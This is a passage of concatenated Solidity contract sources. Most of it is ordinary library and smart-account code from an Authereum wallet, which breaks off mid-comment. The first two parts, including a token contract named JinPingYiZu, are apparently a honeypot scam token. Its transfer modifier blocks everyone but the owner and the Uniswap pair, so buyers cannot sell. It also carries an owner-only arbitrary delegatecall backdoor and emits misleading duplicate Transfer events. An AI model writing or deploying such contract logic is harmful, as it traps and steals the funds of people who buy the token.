a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* JinPingYiZu */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract JinPingYiZu { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/** Author: Authereum Labs, Inc. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; contract AccountStateV1 { uint256 public lastInitializedVersion; mapping(address => bool) public authKeys; uint256 public nonce; uint256 public numAuthKeys; } contract AccountState is AccountStateV1 {} contract AccountEvents { /** * BaseAccount.sol */ event AuthKeyAdded(address indexed authKey); event AuthKeyRemoved(address indexed authKey); event CallFailed(string reason); /** * AccountUpgradeability.sol */ event Upgraded(address indexed implementation); } contract AccountInitializeV1 is AccountState, AccountEvents { /// @dev Initialize the Authereum Account /// @param _authKey authKey that will own this account function initializeV1( address _authKey ) public { require(lastInitializedVersion == 0, "AI: Improper initialization order"); lastInitializedVersion = 1; // Add first authKey authKeys[_authKey] = true; numAuthKeys += 1; emit AuthKeyAdded(_authKey); } } contract AccountInitialize is AccountInitializeV1 {} contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } interface IERC1155TokenReceiver { /** @notice Handle the receipt of a single ERC1155 token type. @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated. This function MUST return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61) if it accepts the transfer. This function MUST revert if it rejects the transfer. Return of any other value than the prescribed keccak256 generated value MUST result in the transaction being reverted by the caller. @param _operator The address which initiated the transfer (i.e. msg.sender) @param _from The address which previously owned the token @param _id The ID of the token being transferred @param _value The amount of tokens being transferred @param _data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4); /** @notice Handle the receipt of multiple ERC1155 token types. @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated. This function MUST return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81) if it accepts the transfer(s). This function MUST revert if it rejects the transfer(s). Return of any other value than the prescribed keccak256 generated value MUST result in the transaction being reverted by the caller. @param _operator The address which initiated the batch transfer (i.e. msg.sender) @param _from The address which previously owned the token @param _ids An array containing ids of each token being transferred (order and length must match _values array) @param _values An array containing amounts of each token being transferred (order and length must match _ids array) @param _data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external returns(bytes4); } contract TokenReceiverHooks is IERC721Receiver, IERC1155TokenReceiver { /** * ERC721 */ /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * param operator The address which called `safeTransferFrom` function * param from The address which previously owned the token * param tokenId The NFT identifier which is being transferred * param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) { return this.onERC721Received.selector; } /** * ERC1155 */ function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns(bytes4) { return this.onERC1155Received.selector; } /** * @notice Handle the receipt of multiple ERC1155 token types. * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated. * This function MUST return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81) if it accepts the transfer(s). * This function MUST revert if it rejects the transfer(s). * Return of any other value than the prescribed keccak256 generated value MUST result in the transaction being reverted by the caller. * param _operator The address which initiated the batch transfer (i.e. msg.sender) * param _from The address which previously owned the token * param _ids An array containing ids of each token being transferred (order and length must match _values array) * param _values An array containing amounts of each token being transferred (order and length must match _ids array) * param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) external returns(bytes4) { return this.onERC1155BatchReceived.selector; } } contract IERC20 { function balanceOf(address account) external returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library BytesLib { function concat( bytes memory _preBytes, bytes memory _postBytes ) internal pure returns (bytes memory) { bytes memory tempBytes; assembly { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // Store the length of the first bytes array at the beginning of // the memory for tempBytes. let length := mload(_preBytes) mstore(tempBytes, length) // Maintain a memory counter for the current write location in the // temp bytes array by adding the 32 bytes for the array length to // the starting location. let mc := add(tempBytes, 0x20) // Stop copying when the memory counter reaches the length of the // first bytes array. let end := add(mc, length) for { // Initialize a copy counter to the start of the _preBytes data, // 32 bytes into its memory. let cc := add(_preBytes, 0x20) } lt(mc, end) { // Increase both counters by 32 bytes each iteration. mc := add(mc, 0x20) cc := add(cc, 0x20) } { // Write the _preBytes data into the tempBytes memory 32 bytes // at a time. mstore(mc, mload(cc)) } // Add the length of _postBytes to the current length of tempBytes // and store it as the new length in the first 32 bytes of the // tempBytes memory. length := mload(_postBytes) mstore(tempBytes, add(length, mload(tempBytes))) // Move the memory counter back from a multiple of 0x20 to the // actual end of the _preBytes data. mc := end // Stop copying when the memory counter reaches the new combined // length of the arrays. end := add(mc, length) for { let cc := add(_postBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } // Update the free-memory pointer by padding our last write location // to 32 bytes: add 31 bytes to the end of tempBytes to move to the // next 32 byte block, then round down to the nearest multiple of // 32. If the sum of the length of the two arrays is zero then add // one before rounding down to leave a blank 32 bytes (the length block with 0). mstore(0x40, and( add(add(end, iszero(add(length, mload(_preBytes)))), 31), not(31) // Round down to the nearest 32 bytes. )) } return tempBytes; } function concatStorage(bytes storage _preBytes, bytes memory _postBytes) internal { assembly { // Read the first 32 bytes of _preBytes storage, which is the length // of the array. (We don't need to use the offset into the slot // because arrays use the entire slot.) let fslot := sload(_preBytes_slot) // Arrays of 31 bytes or less have an even value in their slot, // while longer arrays have an odd value. The actual length is // the slot divided by two for odd values, and the lowest order // byte divided by two for even values. // If the slot is even, bitwise and the slot with 255 and divide by // two to get the length. If the slot is odd, bitwise and the slot // with -1 and divide by two. let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) let newlength := add(slength, mlength) // slength can contain both the length and contents of the array // if length < 32 bytes so let's prepare for that // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage switch add(lt(slength, 32), lt(newlength, 32)) case 2 { // Since the new array still fits in the slot, we just need to // update the contents of the slot. // uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length sstore( _preBytes_slot, // all the modifications to the slot are inside this // next block add( // we can just add to the slot contents because the // bytes we want to change are the LSBs fslot, add( mul( div( // load the bytes from memory mload(add(_postBytes, 0x20)), // zero all bytes to the right exp(0x100, sub(32, mlength)) ), // and now shift left the number of bytes to // leave space for the length in the slot exp(0x100, sub(32, newlength)) ), // increase length by the double of the memory // bytes length mul(mlength, 2) ) ) ) } case 1 { // The stored value fits in the slot, but the combined value // will exceed it. // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) let sc := add(keccak256(0x0, 0x20), div(slength, 32)) // save new length sstore(_preBytes_slot, add(mul(newlength, 2), 1)) // The contents of the _postBytes array start 32 bytes into // the structure. Our first read should obtain the `submod` // bytes that can fit into the unused space in the last word // of the stored array. To get this, we read 32 bytes starting // from `submod`, so the data we read overlaps with the array // contents by `submod` bytes. Masking the lowest-order // `submod` bytes allows us to add that value directly to the // stored value. let submod := sub(32, slength) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore( sc, add( and( fslot, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 ), and(mload(mc), mask) ) ) for { mc := add(mc, 0x20) sc := add(sc, 1) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } default { // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) // Start copying to the last used word of the stored array. let sc := add(keccak256(0x0, 0x20), div(slength, 32)) // save new length sstore(_preBytes_slot, add(mul(newlength, 2), 1)) // Copy over the first `submod` bytes of the new data as in // case 1 above. let slengthmod := mod(slength, 32) let mlengthmod := mod(mlength, 32) let submod := sub(32, slengthmod) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore(sc, add(sload(sc), and(mload(mc), mask))) for { sc := add(sc, 1) mc := add(mc, 0x20) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } } } function slice( bytes memory _bytes, uint _start, uint _length ) internal pure returns (bytes memory) { require(_bytes.length >= (_start + _length)); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) { require(_bytes.length >= (_start + 20)); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint8(bytes memory _bytes, uint _start) internal pure returns (uint8) { require(_bytes.length >= (_start + 1)); uint8 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x1), _start)) } return tempUint; } function toUint16(bytes memory _bytes, uint _start) internal pure returns (uint16) { require(_bytes.length >= (_start + 2)); uint16 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x2), _start)) } return tempUint; } function toUint32(bytes memory _bytes, uint _start) internal pure returns (uint32) { require(_bytes.length >= (_start + 4)); uint32 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x4), _start)) } return tempUint; } function toUint64(bytes memory _bytes, uint _start) internal pure returns (uint64) { require(_bytes.length >= (_start + 8)); uint64 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x8), _start)) } return tempUint; } function toUint96(bytes memory _bytes, uint _start) internal pure returns (uint96) { require(_bytes.length >= (_start + 12)); uint96 tempUint; assembly { tempUint := mload(add(add(_bytes, 0xc), _start)) } return tempUint; } function toUint128(bytes memory _bytes, uint _start) internal pure returns (uint128) { require(_bytes.length >= (_start + 16)); uint128 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x10), _start)) } return tempUint; } function toUint(bytes memory _bytes, uint _start) internal pure returns (uint256) { require(_bytes.length >= (_start + 32)); uint256 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x20), _start)) } return tempUint; } function toBytes32(bytes memory _bytes, uint _start) internal pure returns (bytes32) { require(_bytes.length >= (_start + 32)); bytes32 tempBytes32; assembly { tempBytes32 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes32; } function equal(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) { bool success = true; assembly { let length := mload(_preBytes) // if lengths don't match the arrays are not equal switch eq(length, mload(_postBytes)) case 1 { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 let mc := add(_preBytes, 0x20) let end := add(mc, length) for { let cc := add(_postBytes, 0x20) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) } eq(add(lt(mc, end), cb), 2) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { // if any of these checks fails then arrays are not equal if iszero(eq(mload(mc), mload(cc))) { // unsuccess: success := 0 cb := 0 } } } default { // unsuccess: success := 0 } } return success; } function equalStorage( bytes storage _preBytes, bytes memory _postBytes ) internal view returns (bool) { bool success = true; assembly { // we know _preBytes_offset is 0 let fslot := sload(_preBytes_slot) // Decode the length of the stored array like in concatStorage(). let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) // if lengths don't match the arrays are not equal switch eq(slength, mlength) case 1 { // slength can contain both the length and contents of the array // if length < 32 bytes so let's prepare for that // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage if iszero(iszero(slength)) { switch lt(slength, 32) case 1 { // blank the last byte which is the length fslot := mul(div(fslot, 0x100), 0x100) if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) { // unsuccess: success := 0 } } default { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) let sc := keccak256(0x0, 0x20) let mc := add(_postBytes, 0x20) let end := add(mc, mlength) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) for {} eq(add(lt(mc, end), cb), 2) { sc := add(sc, 1) mc := add(mc, 0x20) } { if iszero(eq(sload(sc), mload(mc))) { // unsuccess: success := 0 cb := 0 } } } } } default { // unsuccess: success := 0 } } return success; } } contract BaseAccount is AccountState, AccountInitialize, TokenReceiverHooks { using SafeMath for uint256; using ECDSA for bytes32; using BytesLib for bytes; // Include a CHAIN_ID const uint256 constant private CHAIN_ID = 1; modifier onlySelf { require(msg.sender == address(this), "BA: Only self allowed"); _; } modifier onlyAuthKeySender { require(_isValidAuthKey(msg.sender), "BA: Auth key is invalid"); _; } modifier onlyAuthKeySenderOrSelf { require(_isValidAuthKey(msg.sender) || msg.sender == address(this), "BA: Auth key or self is invalid"); _; } // This is required for funds sent to this contract function () external payable {} /** * Getters */ /// @dev Get the chain ID constant /// @return The chain id function getChainId() public pure returns (uint256) { return CHAIN_ID; } /** * Public functions */ /// @dev Add an auth key to the list of auth keys /// @param _authKey Address of the auth key to add function addAuthKey(address _authKey) external onlyAuthKeySenderOrSelf { require(authKeys[_authKey] == false, "BA: Auth key already added"); authKeys[_authKey] = true; numAuthKeys += 1; emit AuthKeyAdded(_authKey); } /// @dev Remove an auth key from the list of 